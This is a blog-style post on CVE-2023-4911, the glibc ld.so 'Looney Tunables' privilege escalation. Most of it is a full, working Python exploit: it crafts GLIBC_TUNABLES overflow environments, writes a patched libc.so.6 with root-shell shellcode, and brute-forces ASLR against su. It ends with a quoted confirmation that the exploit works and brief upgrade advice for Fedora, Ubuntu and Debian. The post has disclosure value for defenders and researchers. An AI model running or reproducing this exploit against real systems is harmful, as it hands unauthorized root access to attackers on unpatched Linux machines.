This is another Severe CVE (CVE-2023-4911) that gives root access on major Linux distros and it has been rated as an high vulnerability with CVSS3 score of 7.8 in NVD as of now. This is undergoing further analysis so this CVSS3 score might change
Contents
CVE-2023-4911 Exploit POC Code
Major researchers have already published POC for this exploit and this is based on the source from Twitter :https://twitter.com/bl4sty/status/1709892681910853922 and some have already confirmed this exploit works!
#
# gnu-acme.py
# ------------------------------------------------------------------------------
# my (bad) attempt at a CVE-2023-4911 exploit
# based on the advisory[1] by Qualys and thumb sucking
#
# if you disable aslr (echo 0 > /proc/sys/kernel/randomize_va_space) it will
# attempt to identify a workable offset for your ld.so, you can add it to TARGETS
#
# tested on glibc 2.35-0ubuntu3 (aarch64) and glibc 2.36-9+deb12u2 (amd64)
#
# enjoy, maybe? and don't ask for support :)
#
# -- blasty <[email protected]>
#
# [1]: https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
#
import binascii
import resource
import struct
import select
import time
import sys
import os
from ctypes import *
from ctypes.util import find_library
from shutil import which
unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
# setresuid(euid, euid, euid); execve("/bin/sh", ["sh", NULL], NULL);
# exit(0x66)
ARCH = {
"x86_64": {
"shellcode": unhex(
"6a6b580f0589c789c289c66a75580f05"
+ "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
),
"exitcode": unhex("6a665f6a3c580f05"),
"stack_top": 0x800000000000,
"stack_aslr_bits": 34,
},
"aarch64": {
"shellcode": unhex(
"e81580d2010000d4e10300aae20300aa681280d2010000d4"
+ "ee458cd22ecdadf2eee5c5f2ee65eef20f0d80d2ee3fbfa9e0030091e1031faae2031faaa81b80d2010000d4"
),
"exitcode": unhex("c00c80d2a80b80d2010000d4"),
"stack_top": 0x1000000000000,
"stack_aslr_bits": 30,
},
}
TARGETS = {
"a8daca28288575ffc8c7641d40901b0148958fb1": 580,
"a99db3715218b641780b04323e4ae5953d68a927": 561,
}
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
resource.setrlimit(
resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
)
def error(s):
print("error: %s" % s)
exit(-1)
def find_hax_path(blob, offset):
pos = offset
while pos > 0:
if blob[pos] != 0 and blob[pos] != 0x2F and blob[pos + 1] == 0:
return {"path": bytes([blob[pos]]), "offset": pos - offset}
pos = pos - 1
return None
def lolstruct(format, keys, data):
return dict(zip(keys.split(" "), struct.unpack(format, data)))
def lib_path(libname):
class LINKMAP(Structure):
_fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]
lib = CDLL(find_library("c"))
libdl = CDLL(find_library("dl"))
dlinfo = libdl.dlinfo
dlinfo.argtypes = c_void_p, c_int, c_void_p
dlinfo.restype = c_int
lmptr = c_void_p()
dlinfo(lib._handle, 2, byref(lmptr))
return cast(lmptr, POINTER(LINKMAP)).contents.l_name
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
child_pid = os.fork()
# child
if not child_pid:
execve(filename, cargv, cenvp)
exit(0)
# parent
start_time = time.time()
while True:
try:
pid, status = os.waitpid(child_pid, os.WNOHANG)
if pid == child_pid:
if os.WIFEXITED(status):
return os.WEXITSTATUS(status) & 0xFF7F
else:
return 0
except:
pass
current_time = time.time()
if current_time - start_time >= 1.5:
print("** ohh... looks like we got a shell? **\n")
os.waitpid(child_pid, 0)
return 0x1337
class lazy_elf:
def __init__(self, filename):
self.d = open(filename, "rb").read()
self.h = lolstruct(
"<HHLQQQLHHHHHH",
"type machine version entry phoff shoff flags ehsize "
+ "phtentsize phnum shentsize shnum shstrndx",
self.d[0x10:0x40],
)
shstr = self.shdr(self.h["shstrndx"])
self.section_names = self.d[shstr["offset"] : shstr["offset"] + shstr["size"]]
def shdr(self, idx):
pos = self.h["shoff"] + (idx * self.h["shentsize"])
return lolstruct(
"<LLQQQQLLQQ",
"name type flags addr offset size link info addralign entsize",
self.d[pos : pos + self.h["shentsize"]],
)
def shdr_by_name(self, name):
name = name.encode()
for i in range(self.h["shnum"]):
shdr = self.shdr(i)
if self.section_names[shdr["name"] :].split(b"\x00")[0] == name:
return shdr
return None
def section_by_name(self, name):
s = self.shdr_by_name(name)
return self.d[s["offset"] : s["offset"] + s["size"]]
def symbol(self, name):
name = name.encode()
dynsym = self.section_by_name(".dynsym")
dynstr = self.section_by_name(".dynstr")
for i in range(len(dynsym) // 24):
pos = i * 24
sym = lolstruct(
"<LBBHQQ",
"name info other shndx value size",
dynsym[pos : pos + 24],
)
if dynstr[sym["name"] :].split(b"\x00")[0] == name:
return sym["value"]
return None
def is_aslr_enabled():
return int(open("/proc/sys/kernel/randomize_va_space", "r").read()) > 0
def build_env(adjust, addr, offset):
# heap meh shui
env = [
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
]
for j in range(172):
env.append(b"")
env.append(struct.pack("<Q", addr))
env.append(b"")
for i in range(384):
env.append(b"")
for i in range(47):
env.append(struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16383)
env.append(None)
return env
def build_argv(args):
argv = []
for arg in args:
if len(argv) == 0:
arg = os.path.basename(arg)
argv.append(arg.encode())
argv.append(None)
return argv
def banner():
print("")
print(" $$$ glibc ld.so (CVE-2023-4911) exploit $$$")
print(" -- by blasty <[email protected]> -- ")
print("")
if __name__ == "__main__":
banner()
machine = os.uname().machine
if machine not in ARCH.keys():
error("architecture '%s' not supported" % machine)
print("[i] libc = %s" % lib_path("c").decode())
su_path = which("su")
print("[i] su = %s" % su_path)
suid_e = lazy_elf(su_path)
ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()
ld_e = lazy_elf(ld_path)
print("[i] ld.so = %s" % ld_path)
ld_build_id = binascii.hexlify(
ld_e.section_by_name(".note.gnu.build-id")[-20:]
).decode()
print("[i] ld.so build id = %s" % ld_build_id)
libc_e = lazy_elf(lib_path("c"))
__libc_start_main = libc_e.symbol("__libc_start_main")
print("[i] __libc_start_main = 0x%x" % __libc_start_main)
offset = suid_e.shdr_by_name(".dynstr")["offset"]
hax_path = find_hax_path(suid_e.d, offset)
if hax_path is None:
error("could not find hax path")
print(
"[i] using hax path %s at offset %d"
% (
hax_path["path"],
hax_path["offset"],
)
)
if ld_build_id not in TARGETS.keys():
error("no target info found for build id %s" % ld_build_id)
if not os.path.exists(hax_path["path"]):
os.mkdir(hax_path["path"])
argv = build_argv([su_path, "--help"])
if not is_aslr_enabled():
print("[i] ASLR is not enabled, attempting to find usable offsets")
shellcode = ARCH[machine]["exitcode"]
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
print("[i] wrote patched libc.so.6")
stack_addr = ARCH[machine]["stack_top"] - 0x2000
stack_addr += 0x103
print("[i] using stack addr 0x%x" % stack_addr)
for adjust in range(128, 1024):
env = build_env(adjust, stack_addr, hax_path["offset"])
r = spawn(su_path.encode(), argv, env)
print("%d = %d" % (adjust, r))
if r == 0x66:
print(
"found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
)
else:
shellcode = ARCH[machine]["shellcode"]
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
print("[i] wrote patched libc.so.6")
stack_addr = ARCH[machine]["stack_top"] - (
1 << (ARCH[machine]["stack_aslr_bits"] - 1)
)
stack_addr += 3
# avoid NULL bytes in guessy addr (out of sheer laziness really)
for i in range(6):
if (stack_addr >> (i * 8)) & 0xFF == 0:
stack_addr |= 0x10 << (i * 8)
print("[i] using stack addr 0x%x" % stack_addr)
env = build_env(TARGETS[ld_build_id], stack_addr, hax_path["offset"])
cnt = 0
while True:
if cnt % 0x10 == 0:
sys.stdout.write(".")
sys.stdout.flush()
if spawn(su_path.encode(), argv, env) == 0x1337:
print("goodbye.")
exit(0)
cnt += 1
Yeah, this works. https://t.co/EQWH04G2eM pic.twitter.com/AY8eWMMIsp
— Will Dormann (@wdormann) October 5, 2023
Affected versions of Linux Distros:
Almost all the version of Fedora, Ubuntu, and Debian might be affected as they make extensive use of glibc. Upgrade to the latest versions of Fedora, Ubuntu and Debian as soon as possible. Certain Linux distros like Alpine Linux might not have any impact as they used musl libc instead of glibc!